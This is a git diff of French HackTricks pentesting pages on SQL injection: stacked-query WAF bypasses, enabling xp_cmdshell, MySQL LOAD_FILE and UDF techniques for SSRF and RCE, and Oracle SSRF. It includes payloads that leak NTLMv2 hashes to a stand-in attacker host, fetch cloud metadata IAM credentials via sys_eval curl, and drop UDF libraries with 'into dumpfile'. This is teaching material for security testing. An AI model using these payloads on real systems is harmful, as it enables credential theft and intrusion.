||||
```sql
|
||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||
```
|
||||
Il pourrait donc être possible de contourner différents WAF qui ne tiennent pas compte de cette forme de requêtes imbriquées. Par exemple :
|
||||
Par conséquent, il pourrait être possible de contourner différents WAFs qui ne prennent pas en compte cette forme d'empilement de requêtes. Par exemple :
|
||||
```
|
||||
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
||||
admina'union select 1,'admin','testtest123'exec('select 1')--
|
||||
|
@ -256,12 +246,14 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,84 +1,82 @@
|
|||
# MySQL File priv to SSRF/RCE
|
||||
# MySQL File priv à SSRF/RCE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### LOAD\_FILE/LOAD DATA/LOAD XML vers SSRF
|
||||
### LOAD\_FILE/LOAD DATA/LOAD XML à SSRF
|
||||
|
||||
Chaque article d'exfiltration de données SQL Out of Band utilisera la fonction de chaîne `LOAD_FILE()` pour effectuer une requête réseau. La fonction elle-même a ses propres limitations en fonction du système d'exploitation sur lequel elle est exécutée et des paramètres avec lesquels la base de données a été démarrée.
|
||||
Chaque article sur l'exfiltration de données Out of Band SQL utilisera la fonction de chaîne `LOAD_FILE()` pour effectuer une requête réseau. La fonction elle-même a ses propres limitations basées sur le système d'exploitation sur lequel elle est exécutée et les paramètres avec lesquels la base de données a été démarrée.
|
||||
|
||||
Par exemple, si la variable globale `secure_file_priv` n'a pas été définie, [la valeur par défaut est définie sur `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), ce qui signifie que vous ne pouvez utiliser que des fonctions telles que `LOAD_FILE('nom_fichier')` ou `LOAD DATA [LOCAL] INFILE 'nom_fichier' INTO TABLE nom_table` pour lire des fichiers du répertoire `/var/lib/mysql-files/`. Pour pouvoir effectuer des lectures sur des fichiers en dehors de ce répertoire, l'option `secure_file_priv` doit être définie sur `""`, ce qui ne peut être fait qu'en mettant à jour le fichier de configuration de la base de données ou en passant le paramètre de démarrage `--secure_file_priv=""` au service de base de données.
|
||||
Par exemple, si la variable globale `secure_file_priv` n'était pas définie, [la valeur par défaut est définie sur `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), ce qui signifie que vous ne pouvez utiliser des fonctions comme `LOAD_FILE('nomdefichier')` ou `LOAD DATA [LOCAL] INFILE 'nomdefichier' INTO TABLE nomdetable` que pour lire des fichiers du répertoire `/var/lib/mysql-files/`. Pour pouvoir effectuer des lectures sur des fichiers en dehors de ce répertoire, l'option `secure_file_priv` doit être définie sur `""`, ce qui ne peut être fait qu'en mettant à jour le fichier de configuration de la base de données ou en passant le paramètre de démarrage `--secure_file_priv=""` au service de base de données.
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/2.png)
|
||||
Néanmoins, dans les circonstances où `secure_file_priv` est défini sur `""`, nous devrions être capables de lire d'autres fichiers sur le système, en supposant que les permissions de lecture de fichiers et `file_priv` sont définis sur `Y` dans `mysql.user` pour l'utilisateur de la base de données actuelle. Cependant, la possibilité d'utiliser ces fonctions pour effectuer des appels réseau dépend beaucoup du système d'exploitation. Comme ces fonctions sont conçues uniquement pour lire des fichiers, les seuls appels réseau pertinents qui peuvent être effectués sont vers des chemins UNC sur des hôtes Windows, car [l'API Windows `CreateFileA` qui est appelée lors de l'accès à un fichier comprend les conventions de nommage UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
|
||||
|
||||
Néanmoins, dans les circonstances où `secure_file_priv` est défini sur `""`, nous devrions pouvoir lire d'autres fichiers sur le système, en supposant que les autorisations de lecture de fichier et `file_priv` sont définies sur `Y` dans `mysql.user` pour l'utilisateur de la base de données actuel. Cependant, la possibilité d'utiliser ces fonctions pour effectuer des appels réseau dépend beaucoup du système d'exploitation. Comme ces fonctions sont conçues uniquement pour lire des fichiers, les seuls appels réseau pertinents qui peuvent être effectués sont vers des chemins UNC sur des hôtes Windows, car [l'API Windows `CreateFileA` appelée lors de l'accès à un fichier comprend les conventions de dénomination UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
|
||||
Donc, si votre base de données cible fonctionne sur une machine Windows, la requête d'injection `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [résulterait en la machine Windows envoyant des hachages NTLMv2 dans une tentative d'authentification avec le serveur contrôlé par l'attaquant `\\attackerserver.example.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
|
||||
|
||||
Ainsi, si votre base de données cible s'exécute sur une machine Windows, la requête d'injection `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [entraînerait l'envoi par la machine Windows des hachages NTLMv2 dans une tentative d'authentification avec le `\\attackerserver.example.com` contrôlé par l'attaquant](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
|
||||
Cette falsification de requête côté serveur, bien qu'utile, est limitée au seul port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais pouvez lire des informations à partir de partages configurés avec des privilèges de lecture complets. De plus, comme cela a été démontré avec des recherches plus anciennes, vous pouvez utiliser cette capacité limitée de SSRF pour voler des hachages et les relayer pour obtenir des shells, donc c'est définitivement utile.
|
||||
|
||||
Cette falsification de requête côté serveur, bien qu'utile, est limitée au seul port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais vous pouvez lire des informations à partir de partages configurés avec des privilèges de lecture complets. De plus, comme l'ont montré des recherches plus anciennes, vous pouvez utiliser cette capacité SSRF limitée pour voler des hachages et les relayer pour obtenir des shells, donc c'est certainement utile.
|
||||
### Fonctions Définies par l'Utilisateur pour RCE
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/3.png)
|
||||
Une autre technique intéressante avec les bases de données MySQL est la capacité d'utiliser des Fonctions Définies par l'Utilisateur (UDF) présentes dans des fichiers de bibliothèques externes qui, si présents dans des emplacements spécifiques ou dans le $PATH du système, peuvent alors être accessibles depuis MySQL.
|
||||
|
||||
### Fonctions définies par l'utilisateur vers RCE
|
||||
Vous pourriez utiliser une Injection SQL pour **écrire une bibliothèque (`.so` ou `.dll`** selon que vous êtes sur Linux ou Windows), contenant une Fonction Définie par l'Utilisateur qui peut effectuer des requêtes réseau/HTTP, qui peut ensuite être invoquée par des requêtes supplémentaires.
|
||||
|
||||
Une autre technique intéressante avec les bases de données MySQL est la possibilité d'utiliser des fonctions définies par l'utilisateur (UDF) présentes dans des fichiers de bibliothèque externes qui, s'ils sont présents dans des emplacements spécifiques ou dans le $PATH système, peuvent être accessibles depuis MySQL.
|
||||
Cela a son propre ensemble de restrictions cependant. Selon la version de MySQL, que vous pouvez identifier avec `select @@version`, le répertoire d'où les plugins peuvent être chargés est restreint. MySQL en dessous de `v5.0.67` permettait de charger des fichiers de bibliothèque à partir du chemin système si la variable `plugin_dir` n'était pas définie. Cela a changé maintenant et les versions plus récentes ont la variable **`plugin_dir`** définie sur quelque chose comme `/usr/lib/mysql/plugin/`, qui est généralement possédé par root.
|
||||
|
||||
Vous pouvez utiliser une injection SQL pour **écrire une bibliothèque (`.so` ou `.dll`** selon Linux ou Windows), contenant une fonction définie par l'utilisateur qui peut effectuer des requêtes réseau/HTTP, qui peuvent ensuite être invoquées par le biais de requêtes supplémentaires.
|
||||
En gros **pour que vous puissiez charger une bibliothèque personnalisée dans MySQL et appeler une fonction de la bibliothèque chargée via Injection SQL, vous auriez besoin** :
|
||||
|
||||
Cela a ses propres restrictions. En fonction de la version de MySQL, que vous pouvez identifier avec `select @@version`, le répertoire à partir duquel les plugins peuvent être chargés est restreint. MySQL inférieur à `v5.0.67` permettait le chargement de fichiers de bibliothèque à partir du chemin système si la variable `plugin_dir` n'était pas définie. Cela a maintenant changé et les nouvelles versions ont la variable **`plugin_dir`** définie sur quelque chose comme `/usr/lib/mysql/plugin/`, qui est généralement détenu par root.
|
||||
* de la capacité à **écrire à l'emplacement** spécifié dans **`@@plugin_dir`** via Injection SQL
|
||||
* **`file_priv`** défini sur **`Y`** dans `mysql.user` pour l'utilisateur de la base de données actuelle
|
||||
* **`secure_file_priv`** défini sur **`""`** afin que vous puissiez lire les octets bruts de la bibliothèque à partir d'un emplacement arbitraire comme le réseau ou un répertoire de téléchargements de fichiers dans une application web.
|
||||
|
||||
Fondamentalement, **pour charger une bibliothèque personnalisée dans MySQL et appeler une fonction de la bibliothèque chargée via une injection SQL, vous auriez besoin de** :
|
||||
|
||||
* la possibilité d'**écrire dans l'emplacement** spécifié dans **`@@plugin_dir`** via une injection SQL
|
||||
* **`file_priv`** défini sur **`Y`** dans `mysql.user` pour l'utilisateur de la base de données actuel
|
||||
* **`secure_file_priv`** défini sur **`""`** afin de pouvoir lire les octets bruts de la bibliothèque à partir d'un emplacement arbitraire comme le réseau ou un répertoire de téléchargement de fichiers dans une application web.
|
||||
|
||||
En supposant que les conditions ci-dessus sont remplies, vous pouvez utiliser l'approche **classique de transfert de la** [**bibliothèque UDF MySQL populaire `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **vers le serveur de base de données**. Vous pourriez ensuite effectuer des requêtes de commandes système comme `cURL` ou `powershell wget` pour effectuer une SSRF en utilisant la syntaxe suivante :
|
||||
En supposant que les conditions ci-dessus soient remplies, vous pouvez utiliser **l'approche classique de transférer la** [**bibliothèque UDF MySQL populaire `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **au serveur de base de données**. Vous pourriez alors être capable de faire des requêtes de commandes du système d'exploitation comme `cURL` ou `powershell wget` pour effectuer du SSRF en utilisant la syntaxe
|
||||
|
||||
`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
||||
|
||||
Il existe de nombreuses autres fonctions déclarées dans cette bibliothèque, une analyse desquelles peut être consultée [ici](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si vous êtes paresseux comme moi, vous pouvez obtenir une copie de cette bibliothèque UDF, pour le système d'exploitation cible, à partir d'une installation Metasploit du répertoire `/usr/share/metasploit-framework/data/exploits/mysql/` et vous lancer.
|
||||
Il y a beaucoup d'autres fonctions déclarées dans cette bibliothèque, une analyse de celles-ci peut être vue [ici](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si vous êtes paresseux comme moi, vous pouvez obtenir une copie de cette bibliothèque UDF, pour le système d'exploitation cible, à partir d'une installation metasploit depuis le répertoire `/usr/share/metasploit-framework/data/exploits/mysql/` et commencer.
|
||||
|
||||
Alternativement, des bibliothèques UDF ont été créées spécifiquement pour permettre à la base de données d'effectuer des requêtes HTTP. Vous pouvez utiliser [MySQL User-defined function (UDF) for HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) pour permettre à la base de données d'effectuer des requêtes HTTP, en utilisant la syntaxe suivante :
|
||||
Alternativement, des bibliothèques UDF ont été créées pour fournir spécifiquement à la base de données la capacité de faire des requêtes HTTP. Vous pouvez utiliser [MySQL User-defined function (UDF) pour HTTP GET/POST](https://github.com/y-ken/mysql-udf-http) pour que la base de données effectue des requêtes HTTP, en utilisant la syntaxe suivante
|
||||
|
||||
`x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
||||
|
||||
Vous pouvez également [créer votre propre UDF et l'utiliser également pour l'exploitation postérieure.](
|
||||
Dans tous les cas, vous devez transférer la bibliothèque vers le serveur de base de données. Vous pouvez le faire de plusieurs manières :
|
||||
Vous pourriez également [créer votre propre UDF et l'utiliser pour l'exploitation postérieure également.](https://pure.security/simple-mysql-backdoor-using-user-defined-functions/)
|
||||
|
||||
1. Utilisez la fonction de chaîne MySQL `hex()` ou quelque chose comme `xxd -p filename.so | tr -d '\n'` pour convertir le contenu de la bibliothèque en format hexadécimal, puis le déposer dans le répertoire `@@plugin_dir` en utilisant `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
Dans tous les cas, vous devez transférer la bibliothèque au serveur de base de données. Vous pouvez le faire de plusieurs manières
|
||||
|
||||
1. Utilisez la fonction de chaîne MySQL `hex()` ou quelque chose comme `xxd -p filename.so | tr -d '\n'` pour convertir le contenu de la bibliothèque en format hexadécimal, puis le déverser dans le répertoire `@@plugin_dir` en utilisant `x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
2. Alternativement, convertissez le contenu de `filename.so` en base64 et utilisez `x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //`
|
||||
|
||||
Si le répertoire `@@plugin_dir` n'est pas accessible en écriture, vous êtes malchanceux si la version est supérieure à `v5.0.67`. Sinon, écrivez dans un emplacement différent qui est dans le chemin et chargez la bibliothèque UDF à partir de là en utilisant :
|
||||
Si le `@@plugin_dir` n'est pas inscriptible, alors vous n'avez pas de chance si la version est supérieure à `v5.0.67`. Sinon, écrivez à un emplacement différent qui est dans le chemin et chargez la bibliothèque UDF à partir de là en utilisant
|
||||
|
||||
* pour la bibliothèque `lib_mysqludf_sys` - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
|
||||
* pour la bibliothèque `mysql-udf-http` - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/4.png)
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/5.png)
|
||||
Pour automatiser cela, vous pouvez utiliser SQLMap qui prend en charge [l'utilisation de UDF personnalisés via l'option `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Pour automatiser cela, vous pouvez utiliser SQLMap qui prend en charge [l'utilisation de UDF personnalisées via l'option `--udf-inject`](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Pour les injections SQL aveugles, vous pouvez rediriger la sortie des fonctions UDF vers une table temporaire, puis lire les données à partir de là ou utiliser [une requête DNS dissimulée dans une commande curl `sys_eval` ou `sys_exec`](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
|
||||
Pour les Injections SQL Aveugles, vous pourriez rediriger la sortie des fonctions UDF vers une table temporaire, puis lire les données de là ou utiliser [une requête DNS introduite dans une commande `sys_eval` ou `sys_exec` curl](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,33 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## SSRF
|
||||
|
||||
L'utilisation d'Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documentée, mais comme moyen d'exfiltration de données SQL dans les injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
|
||||
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour faire d'autres SSRF/XSPA.
|
||||
|
||||
L'installation d'Oracle peut être très laborieuse, surtout si vous souhaitez configurer une instance rapide pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large avec Docker.
|
||||
Installer Oracle peut être vraiment pénible, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a orienté vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large avec Docker.
|
||||
|
||||
J'ai exécuté la commande Docker avec l'option `--network="host"` afin de pouvoir simuler Oracle en tant qu'installation native avec un accès réseau complet, pour la durée de cet article de blog.
|
||||
J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir simuler Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
#### Packages Oracle prenant en charge une URL ou une spécification de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
#### Paquets Oracle prenant en charge une spécification d'URL ou de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
|
||||
Afin de trouver des packages et des fonctions prenant en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche sur [la documentation en ligne d'Oracle Database](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
||||
Pour trouver des paquets et des fonctions qui prennent en charge une spécification d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau) :
|
||||
La recherche a donné les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des communications sortantes) :
|
||||
|
||||
* DBMS\_NETWORK\_ACL\_ADMIN
|
||||
* UTL\_SMTP
|
||||
|
@ -45,34 +47,34 @@ La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utili
|
|||
* DBMS\_STREAMS\_ADM
|
||||
* UTL\_HTTP
|
||||
|
||||
Cette recherche sommaire exclut évidemment des packages tels que `DBMS_LDAP` (qui permet de spécifier un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Il est donc possible que j'aie omis d'autres packages Oracle pouvant être utilisés de manière abusive pour effectuer des requêtes sortantes.
|
||||
